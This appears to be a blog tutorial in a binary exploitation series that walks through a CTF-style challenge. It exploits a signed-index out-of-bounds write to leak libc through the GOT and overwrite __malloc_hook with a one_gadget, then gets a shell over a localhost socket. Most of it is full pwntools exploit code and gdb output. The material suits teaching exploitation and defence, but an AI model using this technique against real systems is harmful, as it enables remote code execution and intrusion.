Binary Exploitation Series (7): Full RelRO Bypass

14 minute read

Hello everyone! Today we are going to bypass Full RelRO by using a relative write out-of-bounds vulnerability. As last time, we have access to the binary (no libc provided) and we have to leak some information to identify the correct libc version. You can download the challenge along with the source code.

gef➤  checksec
[+] checksec for './notes'
Canary                        : Yes
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Full

ASLR is activated ;-)

Relocation Read-Only (RelRO)

If we have the possibility to abuse a vulnerability to write to arbitrary locations in memory (e.g. format string attacks, control over pointers, out-of-bounds write …) instead of a basic buffer overflow vulnerability like last times, we need to figure out how to get control over the execution flow (RIP/EIP). One way to achieve this is to overwrite the Global Offset Table (GOT) which is a look-up table for dynamically linked ELF binaries to resolve functions that are located in shared libraries. For example, our target uses the function puts. We could overwrite the entry for puts in the GOT with 0x4141414141414141 and the next time the function is called it would jump to our specified address. To prevent such attacks RelRO was introduced. If fully activated, the linker resolves all the functions the binary uses at the beginning of execution and sets the GOT as read only. More details at www.redhat.com

In the following, we have a comparison of the notes challenge where we can see that the functions are successfully resolved during startup. Each compiled challenge is started in gdb with the command start

Partial RelRO active (not read only, no resolves at startup):

gef➤  disassemble main
 ...
 0x0000000000400d63 <+160>:   call   0x400720 <memset@plt>
 0x0000000000400d68 <+165>:   jmp    0x400d0b <main+72>
End of assembler dump.

gef➤  disassemble 0x400720
Dump of assembler code for function memset@plt:
 0x0000000000400720 <+0>:     jmp    QWORD PTR [rip+0x20191a] # 0x602040
 0x0000000000400726 <+6>:     push   0x5
 0x000000000040072b <+11>:    jmp    0x4006c0
End of assembler dump.

gef➤  x/20gx 0x602040
// calls for dynamic resolver
// e.g. memset@plt
0x602040:       0x0000000000400726      0x0000000000400736
0x602050:       0x0000000000400746      0x0000000000400756

After the first resolve, the pointer at 0x602040 would be replaced with the real address of memset located in libc.

Full RelRO active:

gef➤  disassemble main
 ...
 0x0000000000400d63 <+160>:   call   0x400720 <memset@plt>
 0x0000000000400d68 <+165>:   jmp    0x400d0b <main+72>
End of assembler dump.

gef➤  disassemble 0x400720
Dump of assembler code for function memset@plt:
   0x0000000000400720 <+0>:     jmp    QWORD PTR [rip+0x2018a2] # 0x601fc8
   0x0000000000400726 <+6>:     push   0x5
   0x000000000040072b <+11>:    jmp    0x4006c0
End of assembler dump.

gef➤  x/20gx 0x601fc8
//libc functions already resolved
0x601fc8:       0x00007ffff7b72f50      0x00007ffff7a8de70
0x601fd8:       0x00007ffff7b72ad0      0x00007ffff7a7b070

Libc (vmmap)
0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so

Target

The target is a little bit longer than before but not really complex. We have a “customer line” and each customer has the opportunity to save, edit and show a note. A customer has 3 options to edit a note:

  1. Replace substring
  2. Replace character at position
  3. Overwrite whole note

Read the source code, play with the binary and understand the behavior of the challenge.

Analysis & Exploitation

In one of the edit functions is a vulnerability which will lead to an out-of-bounds write. Try to find the vulnerability by yourself.





























Hint: In the second option!























Okay, did you find it?
Let’s analyze the function:

void string_replace_char()
{
    int pos;
    char character;
    char input[5];

    while(1)
    {
        printf("Usage: <position>,<new character>\n> ");
        scanf(" %d,%c", &pos, &character);

        if(pos >= MAX_BUF-1)
        {
            puts("Result is out of range.");
            return;
        }

        note[pos] = character;
        printf("Your current note is %s\n", note);

        puts("Done? (YES) ");
        scanf(" %4s", input);
        if(strcmp(input, "YES") == 0 || strcmp(input, "yes") == 0)
        {
            puts("Saved!\n");
            return;
        }
    }
}

First, some variables are defined which are later used to replace one character at the time. After that, we can use a command-line style replace function to replace characters in our note. First thing to notice is, that we could overwrite a null byte if our string is smaller than the max length. But since the note is always cleared with memset for each customer we cannot abuse this to leak data of a previous customer. If we look carefully we can see that the position is verified with if(pos >= MAX_BUF-1). But as we remember, the position variable is defined as an (signed) integer and therefore, we can also use negative values! A possible fix would be a change of the type to unsigned int.

Let’s confirm the relative out-of-bounds write. Steps to reproduce:

  • Start the challenge: gdb notes -> run
  • Enter customer name: “AAAA”
  • Enter new note
    • Option “2”
    • “BBBB”
  • Edit note with character replace
    • “3”
    • “2”
    • “-1,C”
    • “-2,C”
  • CTRL-C

Use the command vmmap to display the virtual memory map.

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /.../notes
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /.../notes
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /.../notes
0x0000000000603000 0x0000000000624000 0x0000000000000000 rw- [heap]

Examine the memory:

gef➤  x/20gx 0x0000000000602000
0x602000:       0x0000000000000000      0x0000000000000000
0x602010:       0x0000000000000000      0x0000000000000000
0x602020 <stdout@@GLIBC_2.2.5>: 0x00007ffff7dd0760      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd0680      0x0000000000000000
0x602050:       0x0000000000000000      0x0000000000000000
0x602060 <customer_name>:       0x0000000000603260      0x0000000000000000
0x602070:       0x0000000000000000      0x4343000000000000
0x602080 <note>:        0x0000000042424242      0x0000000000000000
0x602090 <note+16>:     0x0000000000000000      0x0000000000000000

If we take a look at the line with address 0x602070 we see our C’s (0x43) which are definitely out of bounds because the note starts at 0x602080. We confirmed an out-of-bounds write with negative values. That means, that we can overwrite everything before the note array. In this case the customer_name is interesting because it is a pointer to a string in the heap (allocated via malloc in main()). It is also possible to write to its destination (via “Who is next?” in main()) and we can read the value (printf in serve() and main()). Very powerful!

During exploit development it is important that you start writing your exploit as soon as possible. Multiple tasks can be easily automated and will save you a lot of time. So, let’s start writing our exploit!

Steps:

  • Load and start the binary via process of pwntools
  • Define functions for different parts of the application
    • recv_help
    • save_note
  • Get control over customer_name
  • Leak libc pointer via GOT (read is still possible)
  • Identify libc version
  • Compute libc base address
  • Set a malloc hook (more later) in libc to point to 0x4141414141414141
  • Find one-shot gadgets and set the malloc hook to point to the gadget
  • Profit!

First two parts are easy and only the code will be shown here. Try it by yourself. :)








from pwn import process, remote, gdb, context, p64, u64, ELF, log
from binascii import hexlify

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
chal = ELF("./notes")
r = process("./notes")

gdb.attach(r.pid,"""
""")

def recv_help():
    r.recvuntil("want to do, ")
    r.recvuntil("?\n")

def save_note(note):
    r.sendline("2")
    r.recvuntil("?")
    r.sendline(note)

# Who is next?
r.recvuntil("next?")
r.sendline("AAAA") # dummy

recv_help()
save_note("BBBB") # dummy
recv_help()

r.interactive() # keeps everything open

We created a customer and successfully saved a note. Next, we have to find the offset to the customer_name. This can be done with gdb. Run the script, go to the gdb window, type continue and let it run. After it has paused (reads from stdin), we press CTRL-C to be able to type gdb commands. We show the memory map and print the section where the not initialized variables are stored.

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /.../notes
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /.../notes
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /.../notes
0x0000000000795000 0x00000000007b6000 0x0000000000000000 rw- [heap]

gef➤  x/20gx 0x0000000000602000
0x602000:	0x0000000000000000	0x0000000000000000
0x602010:	0x0000000000000000	0x0000000000000000
0x602020 <stdout@@GLIBC_2.2.5>:	0x00007f95b4b01760	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040 <stderr@@GLIBC_2.2.5>:	0x00007f95b4b01680	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060 <customer_name>:	0x0000000000795260	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080 <note>:	0x0000000042424242	0x0000000000000000
0x602090 <note+16>:	0x0000000000000000	0x0000000000000000

Okay, note is at 0x602080 and our customer_name pointer is at 0x602060. This is a difference of 0x20 (32). Therefore, we can overwrite the pointer at offset -32 via the character replace mechanism.

To make everything reusable and easy to use we define another function. This function implements the behavior of the edit function with character replace. It supports also strings because the string is enumerated while the offset is increased. Therefore, we can write arbitrary byte sequences relative to our note array. (As long as the index is smaller than MAX_BUF-1)

def write(offset, data):
    log.debug("Write(hex): %s @ %d"  % (hexlify(data), offset))
    r.sendline("3")
    r.recvuntil("note\n")
    r.sendline("2")

    for idx, byte in enumerate(data):
        r.recvuntil("\n>")
        r.sendline(str(offset+idx) + "," + byte)
        r.recvuntil("Done? (YES) ")
        r.sendline("NO")

    #send dummy and save
    r.recvuntil("\n>")
    r.sendline("0,A")
    r.sendline("YES")
    r.recvuntil("Saved!\n")

Now, we can use the function as follows:

write(-32, p64(0x4141414141414141))
Id 1, Name: "notes", stopped, reason: SIGSEGV
...
gef➤  x/20gx 0x0000000000602000
0x602000:	0x0000000000000000	0x0000000000000000
0x602010:	0x0000000000000000	0x0000000000000000
0x602020 <stdout@@GLIBC_2.2.5>:	0x00007fad4ad4d760	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040 <stderr@@GLIBC_2.2.5>:	0x00007fad4ad4d680	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060 <customer_name>:	0x4141414141414141	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080 <note>:	0x0000000042424241	0x0000000000000000
0x602090 <note+16>:	0x0000000000000000	0x0000000000000000

We successfully overwrote the customer_name and the application crashed because the address 0x4141414141414141 is not mapped and cannot be resolved by the following printf in serve().

Next, we have to leak libc function addresses. Let’s get the GOT offsets:

$ objdump -R notes

notes:     file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE
0000000000601ff0 R_X86_64_GLOB_DAT   __libc_start_main@GLIBC_2.2.5
0000000000601ff8 R_X86_64_GLOB_DAT   __gmon_start__
0000000000602020 R_X86_64_COPY       stdout@@GLIBC_2.2.5
0000000000602040 R_X86_64_COPY       stderr@@GLIBC_2.2.5
0000000000601fa0 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
0000000000601fa8 R_X86_64_JUMP_SLOT  strlen@GLIBC_2.2.5
0000000000601fb0 R_X86_64_JUMP_SLOT  __stack_chk_fail@GLIBC_2.4
0000000000601fb8 R_X86_64_JUMP_SLOT  setbuf@GLIBC_2.2.5
0000000000601fc0 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5
0000000000601fc8 R_X86_64_JUMP_SLOT  memset@GLIBC_2.2.5
0000000000601fd0 R_X86_64_JUMP_SLOT  strcmp@GLIBC_2.2.5
0000000000601fd8 R_X86_64_JUMP_SLOT  memcpy@GLIBC_2.14
0000000000601fe0 R_X86_64_JUMP_SLOT  malloc@GLIBC_2.2.5
0000000000601fe8 R_X86_64_JUMP_SLOT  __isoc99_scanf@GLIBC_2.7

or use pwntools again:

chal = ELF("./notes")
chal.got["puts"]

We just have to take an offset to a function in the GOT, overwrite the customer_name and exit the edit function to print the customer_name in serve(). For that, we have to edit our recv_help function to return the leak

# return leak
def recv_help():
    r.recvuntil("want to do, ")
    leak = r.recvuntil("?\n")[:-2]
    return leak

and leak the pointer

write(-32, p64(chal.got["puts"])) # GOT offset of puts
leak = recv_help()
# Pad leak with null bytes to use u64
# e.g. \x41\x41\x41 would be \x41\x41\x41\x00\x00\x00\x00\x00
leak = u64(leak.ljust(8, "\x00"))
log.info("puts @ " + hex(leak))

r.interactive()

Verify it with gdb:

gef➤  p puts
$1 = {int (const char *)} 0x7f70208839c0 <_IO_puts>

Script output:
...
[*] puts @ 0x7f70208839c0
...

We can leak more pointers and identify the libc version with blukat.me like in Chapter 4. Furthermore, we can compute the libc base which can be verified in gdb (vmmap).

libc_base = leak - libc.symbols["puts"]
log.info("libc base @ " + hex(libc_base))


“The GNU C Library lets you modify the behavior of malloc, realloc, and free by specifying appropriate hook functions.” [Hooks-for-Malloc] To get RIP control we can modify these hooks of libc. First, compute the hooks address in memory based on the libc leaks.

malloc_hook_address = libc_base + libc.symbols["__malloc_hook"]
log.info("__malloc_hook @ %s" % hex(malloc_hook_address))

Set the customer_name pointer and use it to overwrite the “customer name” via scanf (in main()) which points to the hook.

# point customer_name to __malloc_hook
write(-32, p64(malloc_hook_address))

# exit and trigger next customer
r.sendline("5") # exit

# Who is next?
r.recvuntil("next?")
r.sendline(p64(0x4141414141414141))

save_note("DUMMY")
r.sendline("3")
r.recvuntil("note\n")
r.sendline("2")
r.sendline("0"*0x10000 + ",A") # trigger __malloc_hook

Segfault! We successfully overwrote the hook and got control over execution flow.

0x7f8d1958f27b <malloc+523>     jmp    rax

-> $rax   : 0x4141414141414141

Final step is to find suitable one-shot gadgets and trigger a execve to get a shell.

one_gadget <identified libc>

0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c        execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Of course, you have to try all if some are not working because some constraints are not met.

one_gadget = libc_base + 0x4f322

# Who is next?
r.recvuntil("next?")
r.sendline(p64(one_gadget))

....

r.sendline("0"*0x10000 + ",A") # trigger __malloc_hook
r.sendline("ls;")
r.interactive()

Using the second gadget we notice that on each run the response is different. This is because the values on the stack are different on each run and we have to try it more than once. After some tries, we get a response from the target and we executed our commands.

....
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000,A: File name too long
    notes.c  notes           

Now let’s try it remote. Spawn the challenge with socat (apt install socat) at port 1337

socat tcp-l:1337,reuseaddr,fork system:"timeout 60 ./notes"

and test the connection:

$ nc localhost 1337
Who is next?
AAAA
#############
1 - HELP
2 - Save note
3 - Edit note
4 - Show note
5 - Exit
#############

Modify the exploit and run it against the remote target. Note that if you have a different libc version on your system you would have to adjust the libc path to the remote one. Furthermore, you would have to change the one-shot gadget.

#r = process("./notes")
r = remote("localhost", 1337)

#gdb.attach(r.pid,"""
#""")
...
$ python exploit.py
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to localhost on port 1337: Done
[*] puts @ 0x7f91453009c0
[*] libc base @ 0x7f9145280000
[*] __malloc_hook @ 0x7f914566bc30
[*] Switching to interactive mode

Usage: <position>,<new character>
> notes
notes.c
$ id
uid=1000(work) gid=1000(work)
$  

Yay! We got a shell and successfully bypassed RelRO! Interesting how such a small bug (signed integer and no negative value checks) can lead to full control over a remote system.
Happy Hacking!